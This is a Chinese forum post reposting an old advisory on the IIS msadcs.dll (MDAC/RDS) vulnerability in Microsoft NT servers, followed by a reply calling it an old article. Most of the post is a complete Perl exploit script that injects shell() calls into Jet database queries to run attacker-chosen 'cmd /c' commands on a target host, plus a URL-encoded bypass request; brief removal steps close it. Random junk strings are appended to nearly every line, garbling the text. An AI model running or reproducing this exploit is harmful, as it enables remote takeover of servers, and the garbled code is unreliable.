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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) $` ""  
~sh`r{0  
涉及程序: 7j-4TY~  
Microsoft NT server Abc)i7!.,.  
-qGa]a  
描述: o2F)%TDY  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 +L;e^#>d  
J\b^)  
详细: u ,KD4{!  
如果你没有时间读详细内容的话,就删除: Fe4(4  
c:\Program Files\Common Files\System\Msadc\msadcs.dll p>huRp^w  
有关的安全问题就没有了。 h'{ C[d  
F1yqxWHeo  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 [1S|dc>.O%  
" )1V]}+m  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 )P sY($ &  
关于利用ODBC远程漏洞的描述,请参看: e~=;c  
X9V*UXTc  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9w7n1k.  
cPlZXf  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ?Wlb3;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp fumm<:<CLO  
bE !GJZ  
这里不再论述。 _z|65H  
C&(N I  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Yo6*C  
``hf=`We  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset gtppv6<Mj4  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! D9H?:pmv?  
asppRL||  
8.O8No:'&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" I=`U7Bis"  
V@g'#= {r  
#!perl ;~m8;8)  
# uxr #QA  
# MSADC/RDS 'usage' (aka exploit) script S4_YT@VD%  
# a .k.n<  
# by rain.forest.puppy 0Qf,@^zL*  
# },{$*f[  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me rX2.i7i,  
# beta test and find errors! QTk}h_<u  
!$gR{XH$]  
use Socket; use Getopt::Std; GjvOM y  
getopts("e:vd:h:XR", \%args); N 5lDS  
I&x=;   
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 9y"@(  
i9,ge Q7d  
if (!defined $args{h} && !defined $args{R}) { p8Qk 'F=h  
print qq~ fHx*e'eA  
Usage: msadc.pl -h <host> { -d <delay> -X -v } vdc\R?  
-h <host> = host you want to scan (ip or domain) gCB |DY  
-d <seconds> = delay between calls, default 1 second x??+~$}\*-  
-X = dump Index Server path table, if available Swig;`  
-v = verbose B|C2lu  
-e = external dictionary file for step 5 G3Hx! YW  
Ng2twfSl$  
Or a -R will resume a command session j8 ^Iz  
52Z2]T c ,  
~; exit;} LTQ"8  
&]|?o_p3W  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; m[~y@7AK<  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} mn"G_I  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 8e1UmM[  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 3YOq2pW72G  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} d:C'H8  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } #A JDWelD  
3u+T~g0^  
if (!defined $args{R}){ $ret = &has_msadc; U:0mp"  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 8Fz#A.%P  
z]_wjYn Z  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" g}k`o!q  
. "cmd /c "; wd8 l$*F*  
$in=<STDIN>; chomp $in; *&^Pj%DX  
$command="cmd /c " . $in ; B" 1c  
Bq%Jh  
if (defined $args{R}) {&load; exit;} rr],DGg+B]  
0d)M\lG  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; IL#"~D?  
&try_btcustmr; wDal5GJp  
}HYbS8'  
print "\nStep 2: Trying to make our own DSN..."; 2lH&  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 3Ei#q+7  
BLQ6A<  
print "\nStep 3: Trying known DSNs..."; {HltvO%8  
&known_dsn; $w`x vX  
pP&7rRhw  
print "\nStep 4: Trying known .mdbs..."; O:;w3u7;u  
&known_mdb; LM<qT-/qs  
l *(8i ^  
if (defined $args{e}){ @<hb6bo,N  
print "\nStep 5: Trying dictionary of DSN names..."; -A^_{4X  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } %S960  
t&C1Oo}=3  
print "Sorry Charley...maybe next time?\n"; _7Ju  
exit; %} SrL*  
> PRFWO  
############################################################################## ;#W2|'HD  
5}l[>lF  
sub sendraw { # ripped and modded from whisker u5`u>.!  
sleep($delay); # it's a DoS on the server! At least on mine... Q%`@0#"]Sv  
my ($pstr)=@_; 6jD=F ^jw  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || r= `Jn6@  
die("Socket problems\n"); oGnSPI5KGC  
if(connect(S,pack "SnA4x8",2,80,$target)){ w e//|fA<  
select(S); $|=1; cJ= 6r :  
print $pstr; my @in=<S>; )0]'QLH  
select(STDOUT); close(S); M6 "PX *K  
return @in; S%;O+eFYb  
} else { die("Can't connect...\n"); }} -V77C^()8d  
iy.p n  
############################################################################## G" qv z{*  
{L{o]Ii?g  
sub make_header { # make the HTTP request 1hY{k{+o  
my $msadc=<<EOT Y.(PiuG$G  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 %v M-mbX  
User-Agent: ACTIVEDATA Ju@c~Xm  
Host: $ip {BN#h[#B{  
Content-Length: $clen g*AWE,%=|  
Connection: Keep-Alive LYTdTP  
,q`\\d  
ADCClientVersion:01.06 Xx~Bp+  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 jp%S3)  
`KoV_2|  
--!ADM!ROX!YOUR!WORLD! "<N*"euH  
Content-Type: application/x-varg T4Uev*A  
Content-Length: $reqlen I{ C SH  
DMr\ TN  
EOT oWT3apGO  
; $msadc=~s/\n/\r\n/g; n:?a$Ldgm  
return $msadc;} Z"xvh81P  
2*& ^v  
############################################################################## vm8eZG|  
 ?(1 y  
sub make_req { # make the RDS request rH Lm\3  
my ($switch, $p1, $p2)=@_; 6xx ?A>:  
my $req=""; my $t1, $t2, $query, $dsn; 6P l<'3&  
3qC}0CP*  
if ($switch==1){ # this is the btcustmr.mdb query Gx/Oi)&/  
$query="Select * from Customers where City=" . make_shell(); >y7?-*0  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6@5+m 0`u3  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} >1Ibc=}g  
E<Y$>uKA  
elsif ($switch==2){ # this is general make table query D%pF;XY  
$query="create table AZZ (B int, C varchar(10))"; `4J$Et%S  
$dsn="$p1";} K\Wkoi5  
iOghb*aW  
elsif ($switch==3){ # this is general exploit table query Rr]H y^w  
$query="select * from AZZ where C=" . make_shell(); d7;um<%zn  
$dsn="$p1";} Se}c[|8  
zY{A'<\O  
elsif ($switch==4){ # attempt to hork file info from index server jvL[ JI,b  
$query="select path from scope()"; ydA8wL  
$dsn="Provider=MSIDXS;";} TF\C@4Z  
S9y}  
elsif ($switch==5){ # bad query v@L;x [Q  
$query="select"; U?Zq6_M&  
$dsn="$p1";} }o(-=lF  
PJ%C N(0  
$t1= make_unicode($query); kVMg 1I@  
$t2= make_unicode($dsn); )Nw8O{\  
$req = "\x02\x00\x03\x00"; j</: WRA`]  
$req.= "\x08\x00" . pack ("S1", length($t1)); Wqw1J=]  
$req.= "\x00\x00" . $t1 ; *i%.;Z"  
$req.= "\x08\x00" . pack ("S1", length($t2)); kbQ>a5`,x  
$req.= "\x00\x00" . $t2 ; #=A)XlZMd  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; LL~%f &_  
return $req;} AQvudx)@"  
:g0zT[f  
############################################################################## uo 8YP<q  
jV1.Yz (`  
sub make_shell { # this makes the shell() statement hMO=#up&  
return "'|shell(\"$command\")|'";} wlqksG[B  
\Gvm9M  
############################################################################## yNBfUj -L  
.Yn_*L+4*  
sub make_unicode { # quick little function to convert to unicode kn 4`Fa;)O  
my ($in)=@_; my $out; g8% &RG  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } #q=Efn'  
return $out;} +a+Om73B2  
^hM4j{|&M  
############################################################################## dUZ ,m9u  
Zb>?8  
sub rdo_success { # checks for RDO return success (this is kludge) <\^8fn   
my (@in) = @_; my $base=content_start(@in); f2`2,?  
if($in[$base]=~/multipart\/mixed/){ VY4yS*y  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} _]H&,</  
return 0;} yvB.&<]No  
Z@!+v 19^  
############################################################################## nDxz~8  
!_)[/q"  
sub make_dsn { # this makes a DSN for us VpDbHAg  
my @drives=("c","d","e","f"); BW4J>{  
print "\nMaking DSN: "; iqWQ!r^  
foreach $drive (@drives) { ggR.4&<  
print "$drive: "; gjDHo$  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . HIZe0%WPw  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Kn1a>fLaJ_  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); E ~<JC"]  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; rjYJs*#  
return 0 if $2 eq "404"; # not found/doesn't exist G_,jgg7  
if($2 eq "200") { >|UOz&  
foreach $line (@results) { -FaJ^CN~  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} %>{0yEC  
} return 0;} Tyx_/pJT  
/82b S|  
############################################################################## s.C_Zf~3  
aqk!T%fg  
sub verify_exists { b8 likP"T  
my ($page)=@_; M .mfw#*  
my @results=sendraw("GET $page HTTP/1.0\n\n"); vl:KF7:#m  
return $results[0];} N`e[:[  
(f"4,b^]  
############################################################################## vXje^>_6  
`b$.%S8uj=  
sub try_btcustmr { ~Mxvq9vaD  
my @drives=("c","d","e","f"); VMWf>ZU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0@oJFJrO  
 2JBR)P  
foreach $dir (@dirs) { 4,DeHJjAlE  
print "$dir -> "; # fun status so you can see progress t b}V5VH  
foreach $drive (@drives) { /k3:']G,s  
print "$drive: "; # ditto oCz/HQoBk  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; /7YIn3  
$reqlenlen=length( "$reqlen" ); <RL]  
$clen= 206 + $reqlenlen + $reqlen; FQ\h4` >B  
/%^#8<=|U  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 3[*}4}k9  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} H4+i.*T#  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ep{FpB  
]t"Ss_,  
############################################################################## PEZ!n.'S  
=UWI9M*sz  
sub odbc_error { |yPu!pfl  
my (@in)=@_; my $base; 61U09s%\0  
my $base = content_start(@in); pEA:L$&  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this F:S}w   
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =t?F6)Q  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; O:K2Y5R?B  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Y.p;1"  
return $in[$base+4].$in[$base+5].$in[$base+6];} {)sdiE  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; PCtzl )  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . j0q&&9/Jj  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} (#c:b  
9hyn`u.  
############################################################################## )8ZH-|N`!E  
jmG~UnM  
sub verbose { |vj/Wwr  
my ($in)=@_; ^U/O !GK  
return if !$verbose; K{+2G&i  
print STDOUT "\n$in\n";} !j-Z Lq:;  
4#Jg9o   
############################################################################## P]C<U aW'!  
G' 1'/  
sub save { x]j W<A  
my ($p1, $p2, $p3, $p4)=@_; UJ2U1H54h  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; xyXa .  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; R=\IEqqsi  
close OUT;} 6ik$B   
v`T c}c '  
############################################################################## qf-8<{T  
)boE/4  
sub load { CWKm(@"5  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; (/$^uWj  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); CTmT@A{  
@p=<IN>; close(IN); |Y.?_lC  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); %(Icz ?  
$target= inet_aton($ip) || die("inet_aton problems"); 1xvu<|F  
print "Resuming to $ip ..."; r.U`Kh]K  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Q,Eo mt  
if($p[1]==1) { k;Y5BB  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; gRzxLf`K  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 19#\+LWA  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); D2O~kN d  
if (rdo_success(@results)){print "Success!\n";} 3OB"#Ap8<  
else { print "failed\n"; verbose(odbc_error(@results));}} &7s.`  
elsif ($p[1]==3){ 4skD(au8  
if(run_query("$p[3]")){ yf,z$CR  
print "Success!\n";} else { print "failed\n"; }} qxc[M8s  
elsif ($p[1]==4){ x?<FJ"8"k  
if(run_query($drvst . "$p[3]")){ MHwIA*R  
print "Success!\n"; } else { print "failed\n"; }} A@u@ift  
exit;} Dha1/g1q  
_yT Ed"$  
############################################################################## '5tCz9}Y  
?V=CB,^  
sub create_table { GLODVcjf  
my ($in)=@_; ! d gNtI@  
$reqlen=length( make_req(2,$in,"") ) - 28; 1Z&(6cDY8M  
$reqlenlen=length( "$reqlen" ); TcoB,Kdce  
$clen= 206 + $reqlenlen + $reqlen; glw+l'@  
my @results=sendraw(make_header() . make_req(2,$in,"")); bI`g|v  
return 1 if rdo_success(@results); 2Khv>#l  
my $temp= odbc_error(@results); verbose($temp); 6S{l' !s'  
return 1 if $temp=~/Table 'AZZ' already exists/;  Fk;Rfqq  
return 0;} ugBCBr  
_e2=ado  
############################################################################## 'N(R_q6MW  
G+m }MOQP7  
sub known_dsn { MqMQtU9w  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go z(~_AN M4,  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", u1.BN>G  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", moE2G?R  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); [N'h%1]\  
!'O@2{?B  
foreach $dSn (@dsns) { Vt ohL+  
print "."; 1E$|~   
next if (!is_access("DSN=$dSn")); D m9sL!  
if(create_table("DSN=$dSn")){ X wtqi@zlE  
print "$dSn successful\n"; h yIV.W/  
if(run_query("DSN=$dSn")){ [-x7_=E#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ,fRq5"?  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Tsx>&WC  
oL<St$1  
############################################################################## |[y6Ua0  
dF2RH)Ud  
sub is_access { 2Z%O7V~u  
my ($in)=@_; D43z9z-:L  
$reqlen=length( make_req(5,$in,"") ) - 28; ss-D(K"  
$reqlenlen=length( "$reqlen" ); e:W{OIz:  
$clen= 206 + $reqlenlen + $reqlen; c*M} N?|6  
my @results=sendraw(make_header() . make_req(5,$in,"")); ,"ql5Q4  
my $temp= odbc_error(@results); "Rl}VeDY  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); *lb<$E]="!  
return 0;} >-c8q]()ly  
K,UMqAmk  
############################################################################## F:ELPs4"  
&c #N)U  
sub run_query { g\AY|;T  
my ($in)=@_; b`_Q8 J  
$reqlen=length( make_req(3,$in,"") ) - 28; j+YJbL v  
$reqlenlen=length( "$reqlen" ); ,z?':TZ  
$clen= 206 + $reqlenlen + $reqlen; A2Tw<&Tw(  
my @results=sendraw(make_header() . make_req(3,$in,"")); ,u!sjx  
return 1 if rdo_success(@results); B/C,.?Or  
my $temp= odbc_error(@results); verbose($temp); -K$)DvV^(E  
return 0;} I}Q2Vu<  
T9&1VW  
############################################################################## wQLSf{2  
DTs;{c  
sub known_mdb { }~q5w{_n  
my @drives=("c","d","e","f","g"); ']oQ]Yx0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); w*Ihk)  
my $dir, $drive, $mdb; {>;R?TG]$  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; .|=\z9_7S8  
&.ACd+Cd  
# this is sparse, because I don't know of many <-0]i_4sK  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 92-I~ !d  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", {XHh8_ ^&  
"\\system32\\certmdb.mdb", A)KZa"EX  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 0BsYavCR  
]%(2hY~i  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", y> (w\K9W  
"\\cfusion\\cfapps\\forums\\forums_.mdb", xLn%hxm?,  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", H[|~/0?K  
"\\cfusion\\cfapps\\security\\realm_.mdb", ?1".;foZ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Dhv3jg;lq  
"\\cfusion\\database\\cfexamples.mdb", /7LR;>Bj  
"\\cfusion\\database\\cfsnippets.mdb", -^wl>}#*T3  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", =Runf +}  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", |&jXp%4T  
"\\cfusion\\brighttiger\\database\\cleam.mdb", w=@Dv  
"\\cfusion\\database\\smpolicy.mdb", YoE3<[KD(  
"\\cfusion\\database\cypress.mdb", JN6B~ZNf  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 'm9` 12 H  
"\\website\\cgi-win\\dbsample.mdb", "I TIhnE  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 5(8@%6>ruj  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Ct|A:/z(  
); #these are just A70d\i  
foreach $drive (@drives) { 'H!XUtFs"  
foreach $dir (@dirs){ FgI3   
foreach $mdb (@sysmdbs) { l+0P  
print "."; ?hM64jI|  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ (I}v[W  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; s(8W_4&'  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Qei" '~1a  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; { "E\Jcjl\  
} else { print "Something's borked. Use verbose next time\n"; }}}}} R GX=)  
"*H`HRi4T  
foreach $drive (@drives) { h7I{ 4  
foreach $mdb (@mdbs) { E!AE4B1bd  
print "."; c:g'.'/*  
if(create_table($drv . $drive . $dir . $mdb)){ 8i,K~Bu=  
print "\n" . $drive . $dir . $mdb . " successful\n"; kNL\m[W8$  
if(run_query($drv . $drive . $dir . $mdb)){ 0?M:6zf_iv  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; [8*)8jP3  
} else { print "Something's borked. Use verbose next time\n"; }}}} ]cruF#`%  
} 3BLqCZ  
M@ZI\  
############################################################################## KG5>]_GH  
]s748+  
sub hork_idx { ]9,; K;1<  
print "\nAttempting to dump Index Server tables...\n"; FGQzoS  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; v9UD%@tZ  
$reqlen=length( make_req(4,"","") ) - 28; #o2[hibq  
$reqlenlen=length( "$reqlen" ); Q5_o/wk  
$clen= 206 + $reqlenlen + $reqlen; o`RKXfCq  
my @results=sendraw2(make_header() . make_req(4,"","")); '%`:+]!  
if (rdo_success(@results)){ 6`-jPR  
my $max=@results; my $c; my %d; {zFMmPid  
for($c=19; $c<$max; $c++){ [fIg{Q  
$results[$c]=~s/\x00//g;  7[wieYj{  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3[f): u3"  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ,v&(YOd  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 8JD,u  
$d{"$1$2"}="";} <Ok3FE.K  
foreach $c (keys %d){ print "$c\n"; } o8vug$=Z  
} else {print "Index server doesn't seem to be installed.\n"; }} IqGdfL6[(  
A+)`ZTuO  
############################################################################## 2Wb]4-  
F}q c0  
sub dsn_dict { Hq 188<  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); .GcKa024  
while(<IN>){ YrKWA  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; E+JqWR5  
next if (!is_access("DSN=$dSn")); V2G6Kw9gt  
if(create_table("DSN=$dSn")){ 1!gbTeVlY  
print "$dSn successful\n"; V$?SR44>nH  
if(run_query("DSN=$dSn")){ pHJ3nHLQ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { r>U@3%0&  
print "Something's borked. Use verbose next time\n";}}} m9Hit8f@Q  
print "\n"; close(IN);} *D3/@S$B  
tNX|U:Y*  
############################################################################## >e"#'K0?\  
n.G!43@*N  
sub sendraw2 { # ripped and modded from whisker DDH:)=;z  
sleep($delay); # it's a DoS on the server! At least on mine... VM,]X.  
my ($pstr)=@_; !GGkdg*-*9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || U`m54f@U  
die("Socket problems\n"); {Dmjm{   
if(connect(S,pack "SnA4x8",2,80,$target)){ C73 kJa  
print "Connected. Getting data"; :4%k9BGAj"  
open(OUT,">raw.out"); my @in; 7Rt9od< )!  
select(S); $|=1; print $pstr; >oe]$r  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} J9[r|`gJ(  
close(OUT); select(STDOUT); close(S); return @in; :Z z '1C  
} else { die("Can't connect...\n"); }} \K!VNB>h  
xK\d4 "  
############################################################################## e@OX_t_  
9 |vLwQ  
sub content_start { # this will take in the server headers \} :PLCKT  
my (@in)=@_; my $c; 5o8EC" 0  
for ($c=1;$c<500;$c++) { d{7 +w/Zi  
if($in[$c] =~/^\x0d\x0a/){ tC9n k5~  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Oo% d]8W  
else { return $c+1; }}} 3kMf!VL  
return -1;} # it should never get here actually FG*r'tC~r  
ilx)*Y  
############################################################################## t1y4 7fX6  
)TH@# 1  
sub funky { 0=E]cQwh  
my (@in)=@_; my $error=odbc_error(@in); 0s2v'A[\  
if($error=~/ADO could not find the specified provider/){ `^Em&6!!  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; <yFu*(Q  
exit;} X*Prll(  
if($error=~/A Handler is required/){  'CkIz"Wd  
print "\nServer has custom handler filters (they most likely are patched)\n"; H}bJ"(9$vC  
exit;} v-_e)m^  
if($error=~/specified Handler has denied Access/){ vOpK Np  
print "\nServer has custom handler filters (they most likely are patched)\n"; -p XSSa;O9  
exit;}} %Qdn  
kq,ucU%>p  
############################################################################## 1^(ad;BC y  
;x@~A^<el  
sub has_msadc { "~C,bk  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 8q}q{8  
my $base=content_start(@results); V /V9B2.$  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); UQ@L V~6{R  
return 0;} ?oHpFlj  
u($ !z^h  
######################## R',rsGd`6j  
^qD$z=z-  
|2n4QBH!  
解决方案: Y\?"WGL)p  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll >e[i5  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 +Kbjzh3<wG  
{:$>t~=D  
拿出来充数 哈哈
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